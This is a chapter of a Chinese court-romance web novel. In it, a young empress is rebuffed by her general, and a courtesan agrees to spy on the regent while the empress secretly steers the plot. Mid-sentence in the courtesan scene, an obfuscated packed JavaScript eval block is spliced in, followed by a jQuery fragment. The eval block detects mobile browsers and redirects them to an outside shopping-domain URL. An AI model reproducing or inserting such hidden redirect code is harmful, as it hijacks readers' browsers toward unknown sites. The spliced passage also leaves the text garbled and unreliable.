窗外忽然间下起了小雨,淅淅沥沥的。
周容起身走到窗前,迎接这场雨露。
看着雨水顺着琉璃瓦淌下来,汇织成细密朦胧的雨幕,就如蒙着纱般的真相,让人看不清,在无人触及的角落静静地潮湿。
雨幕中,她想起楚平那张脸,想起他在朝堂上跪伏时笔直的脊背,想起他回避三尺的疏离,想起他那些笨拙的理由......她忽然很想知道,如果他知道了母亲的真相,他会恨谁?恨父亲?恨先帝?还是恨这个让他母两难的世道?
又或者......恨身为天子、知晓真相却又给不了公道的她?
"巫渡,"周容的声音在雨声里显得有些飘忽,"这份密册……先封存吧。除了你与朕,不许第三人知晓。"
巫渡顿了一瞬:"陛下,楚将军那边迟早会知晓的。"
"朕找到合适时机再告诉他,但不是现在。等一切尘埃落定,等朕有十足的把握他承受得住,朕再亲口告诉他。"
其实,也是等朕有十足的把握去承受住某些失控......
她转过身,目光落在暗格的锁扣上,那里面放着楚平写给她的每一封信,每一条军报,每一次奏疏。她一封都没有扔过。
"在那之前,"她细细摩挲这些信纸,"朕要先把那些想害他的人清理干净。"
周容回到案前,提笔蘸墨。
她想给楚平写点什么,笔尖悬在纸上,却一个字都落不下去。直到墨滴落在了纸上,晕染成一团污迹,她又想到什么,然后自嘲的笑了笑,用手把宣纸揉成一团,转身扔进了废纸篓里。
楚平外出回府的那天,周容去了将军府。
她没让下人通传,穿过后门绕过影壁,穿过紫藤架时,府里的老管家正蹲在廊下扇药炉,抬头看到周容来了,差点把蒲扇掉进炉灰里。
周容摆了摆手,示意他先别出声,然后径直往东厢走去。
掀开帘子,周容看到男人正靠在床头看书,头发散在枕上,轮廓分明,虽是看书,他的眼里却闪着碎星般的寒芒。
楚平听见脚步声,迅速起身抬眼,当他看清来人时面色骤变,立刻下床起身行礼。周容两步走到身前轻轻拍上他的肩膀,示意免礼。
她覆上去的掌心,隔着中衣感触到了他皮肤的温度。楚平即将行礼手顿在半空,僵了一瞬,又心领神会地慢慢收回去。
周容先是客套地询问了伤势,彰显君恩后,又缓缓地在小几旁的绣墩上坐下。
她这次来想,除了公事外,她确实带点自己的私情。
两个人隔着一只绣墩的距离,都等着对方开口。
窗外的雀鸟叫了几声,率先打破了沉默。
“朕听说你曾年少在京城学堂读书......”
周容也是攒了很多的心绪,鬼使神差地在此刻开口。
"是的。"
“据说楚将军曾是学堂历届以来公认的才学第一。”
“陛下谬赞了,比起玄武宫储学所,我们学堂只是小巫见大巫,在民间小打小闹罢了。”
他刻意把自己放在低位,让周容听着有些不舒服。
“你还记得在学堂读书时,有一个叫‘王五’的同窗吗?”
她的语气很平,像在询问别人的事。
“王五”,正是当年周容借用太傅外甥的身份,进入学堂学习的化名。
他们在无人知晓的岁月里,做过短暂的同窗,也是有着限定的记忆和......独一无二的情谊。
“你还记得吗?”
她充满着期待,期待一个重逢的故事。
楚平沉默了片刻,抬起眼看着周容。只见他的眼睛清冷冷的,像结冰的湖面,里里外外映射不出来任何情绪。
“卑臣......不记得了。”
他顿了顿,语气很淡漠,“学堂里面都是很久之前过去的事,没什么好记的。”
终究他的话也像冰窟一样,让周容感到如坠寒冬。
也可能是真的不足挂齿忘记了吧,周容心想,终究是自己是为多情所累。希望如此,但如果他是不愿意想起呢?会怨朕吗?
他们明明有着很好的过去......
他不想和她回忆那些事,或者说,他不想让那些事变成他们之间的东西。
周容的心情比她想象的要难受,她感觉好像有一道无形的隔阂横在她和楚平之间。而她鼓起勇跨过隔阂走向他,却发现自己一脚踩空,坠落的失重感让她感到失落和挫败。
她转身的气压很低,拂袖而去。
“朕走了。”
“臣送陛下。”
“不用,楚将军好好养伤。”
帘子落下来,隔开了两道影子。
楚平手中那卷书悄然间被他捏变形了,纸页上嵌着深深的指甲印。直到书快破了,他松开了手,却把那几道指印怎么抚也抚不平。
窗外的藤蔓被风吹动,满墙绿影摇曳。他盯着那个影子离去的方向发呆了很久,最终还是把书搁下,阖上了眼。
帘外,紫藤花的香气浓一阵淡一阵。周容走过花架时停了一停,仰头看着那一串串垂落的紫色花穗,像看着那年学堂窗外尚未垂紫的枝蔓。如今花开了,芳香来,但人却回不到从前了。
她伸手折了一小枝,攥在手里轻嗅,然后伴着花香走出了将军府。
回到了玄武宫,她把那枝紫藤插进书案上的青瓷瓶里。玄英进来换茶时瞥了一眼,没敢提醒周容——花枝斜斜地倒在瓶中,蔫了。
过了两天,楚平拆了腕上的纱布,重新递了牌子入宫述职。
他立在勤政殿中,一板一眼地回禀南境布防的事。周容坐在案后听着,偶尔问一两句,天子问什么,他就回答什么。规规矩矩的,君臣之间隔着一张御案,距离不近不远刚刚正好。
全程谁都没提满城纷飞的流言,没提学堂旧事,也没提近来的家常过往。
醉颜楼,荷香雅间。
何朔来时,芙蕖正坐在窗边理琴弦。
小丫鬟说有位公子出重金求见,她以为是哪家的纨绔一掷千金,但对方花了钱也不好意思敷衍,就随口说了一声“请进”。而转头的功夫,就看见一抹熟悉的青灰身影站在门口,背脊笔直。
看清身影,她蓦然手一松,琴弦弹回面板,振出一声“嗡”的闷响。
“你……怎么来了?”
何朔走进来,在她对面坐下。
他比从前瘦了,下颌线条收紧,但那双眼睛还是当年那双少年的眼睛如今多了一些沧桑。何朔静静地端详她好一会儿,似乎在确认她现在生活是否无恙,然后才从袖中取出一方帕子搁在桌上,帕子里露出一角荷花酥——这个是她小时候最爱吃的点心。
芙蕖盯着那记忆力的荷花酥沉默了片刻,然后移开了目光。
原来他还记得......
“公子现在是当朝驸马,如果让公主知道你来找我,这对你来说不好。”
“她知道我来,”何朔平静地解释,“我跟她讲了,我欠别人一个人情,终究要还的。”
芙蕖忽得笑了一声,她垂下眼帘拨了一根弦,拨出一个不完整的音,此音飘荡在房间很快便散去。
“何朔——”她认真地问,“你来找我到底什么事?”
何朔没有立刻回答,他把荷花酥往她那边推了推,推到她够得着的地方,然后十指交扣搁在膝上,坐得很规矩。
“芙蕖,我想让你活。”
他顿了顿,声音压低了些:“关于摄政王的事,你知道多少?先帝在时,他便是朝中大瘤,高层谋逆之事,他藏了一部分证据在府中。你父亲生前与他交好,你应当知道哪些地方能摸到东西。”
芙蕖听到一时间怔住了。
“如果你能拿到证据,在朝堂上翻出他的旧案,就能够将功补过。这样一来,你既可以离开醉颜楼,又能够摆脱罪臣之女的身份——你就自由了。”
芙蕖没有接话,指尖压在琴弦上,凉丝丝的。这个条件,听起来很让人心动。
“我现在是钦差大臣,也是驸马。”何朔拍拍胸脯,认真地说到,“事成之后,我有能力
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861269|212006||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
保你余生平安。”
“你……拿什么保?”
“拿我的命。”
他没有犹豫。
芙蕖看着他的眼睛,忽然想起很多年以前,他们还是少年时,他知道自己喜欢吃荷花酥,总是早早去城南排队给她买来。然后他们边吃边笑,畅聊着年少成长的烦恼。
就这样走着走着,她那时以为这辈子就这样走下去:嫁给他,生几个孩子,平平顺顺地过完余生。
变故来的突然,后来父亲倒了,婚约废了,她跪在刑场外时,他被人拦着没让她看见。再后来他做了驸马,她做了醉颜楼的花魁。云泥之别,两条线岔开,相隔越来越远。
可此刻他坐在她面前,对她说“我保你余生平安”,说“拿我的命”——
她已经不在乎真假,她信。
可正因为信,她才觉得疼。
“我帮你。”
芙蕖把琴弦松开,琵琶搁在一边。
“不是为了你,是为了我自己。我想要离开这烟花之地,为了自由,付出什么代价我都愿意。”
她像在黑暗中抓住了希望的曙光,目光笃定地看向何朔:“你告诉我需要做什么,我会尽力配合来办。”
何朔点了点头。
“你身边都是摄政王的眼线,每隔六日会有信鸽于寅时飞至。”
“偶尔,我也会乔装亲自来看你。”
两人之间沉默了片刻。窗外的柳条被风吹扬,飘进了窗檐,芙蕖突然感觉此景有种风萧萧易水寒的凄美和悲壮。只见何朔站起身,最后在看她一眼,像是想说什么别的什么似的。
最后她只听到:“我走了。”
“嗯。”
他走到门口,手搭上门框时停了一下,背对着她开口:“那个荷花酥——还是城南那家知味斋的。”
门开了又合上。
芙蕖坐了一会儿,伸手把桌上的帕子打开,里面的荷花酥绿酥皮里包着花瓣状的粉,她轻咬了一口,还是从前记忆里的那个味道。
剩下一块,她用帕子重新包好,揣进了袖子里。
醉颜楼斜对面的巷口,一辆青帷马车静静地停着。车帘掀了一条缝,缝隙里露出一双桃花似的眼睛。周容看着何朔从楼里出来,快步消失在街角人潮中,缓缓放下了帘子。
她靠在车壁上,指节轻轻叩着膝头。
“从高芙蕖这边入手,”她偏头看向车中另一侧坐着的巫渡,“会不会不太好?”
巫渡身影在车中散发些许清冷,他沉吟一息,缓缓开口:“陛下,您还记得白雪楼事变,您第一次对峙摄政王时候,他当时的神情吗?”
周容的手指顿住了。
她记得,当时周业的神情仿佛在说,只要他愿意,他就可以当即抹杀掉她这个“太子”。
“先帝驾崩的事情,陛下您身在南国,不清楚其中的内情。”
“先帝当年东征,那可是摄政王出的主意。”巫渡继续道,“先帝东征未半而中道崩殂,太医说先帝是在途中突生急病,可先帝的身子一向硬朗。先帝的驾崩和摄政王脱不了干系,高渝前期的祸事与摄政王也有关。而摄政王府里藏着的东西,无论是军报还是密函,这就是答案。”
车外的街市人声嘈杂,有小贩在叫卖糖葫芦,有孩童追逐着跑过。外面一片热闹的人间烟火,一层薄薄的帘子隔开车里的沉默。
“扳不倒摄政王,下一个被清算的——就是陛下。”
“这条路给出选择,是芙蕖自己选了,她想要自由,陛下还给她。各取所需,不算亏欠。”
周容没有立刻应声。她把指尖抵在眉骨上,闭了一会儿眼。帘缝里漏进一线光,落在她的膝头,细细的一道,像刀锋的边。
“让芙蕖拿到的证据,够格就行。不要太满,满则生疑。何朔那边,别让他察觉我们在后面。”
“是。”
“等事成之后,朕会给芙蕖她想要的自由。”
巫渡心领神会,深深躬了躬身。
马车缓缓驶动,汇入人潮,从一片繁华热闹中驶离……